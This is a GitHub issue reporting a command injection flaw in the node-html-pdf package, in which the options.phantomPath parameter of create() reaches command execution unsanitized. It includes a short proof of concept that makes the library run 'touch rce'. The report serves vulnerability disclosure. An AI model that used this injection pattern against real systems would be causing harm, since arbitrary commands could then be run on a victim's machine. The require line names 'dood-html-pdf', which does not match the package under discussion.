marcbachmann / node-html-pdf

This repo isn't maintained anymore as phantomjs got dreprecated a long time ago. Please migrate to headless chrome/puppeteer.
MIT License
3.56k stars 544 forks source link

Potential injection vulnerability in node-html-pdf #701

Open xiaofen9 opened 1 year ago

xiaofen9 commented 1 year ago

Hi,

We would like to report a potential security vulnerability. The bug is introduced because the package-exported method create() fails to sanitize its parameter options.phantomPath and lets it flow into a sensitive command execution API.

Here is the proof of concept.

var fs = require('fs');
var htmltopdf = require('dood-html-pdf');
var html = fs.readFileSync('example.html', 'utf8');
var options = {
 phantomPath: 'touch',
 phantomArgs: ['rce'],
 readLocalFile: true
};

var pdf = htmltopdf.create(html, options)
var exec = pdf.exec() // a file named rce will be created

Please consider fixing it. thanks!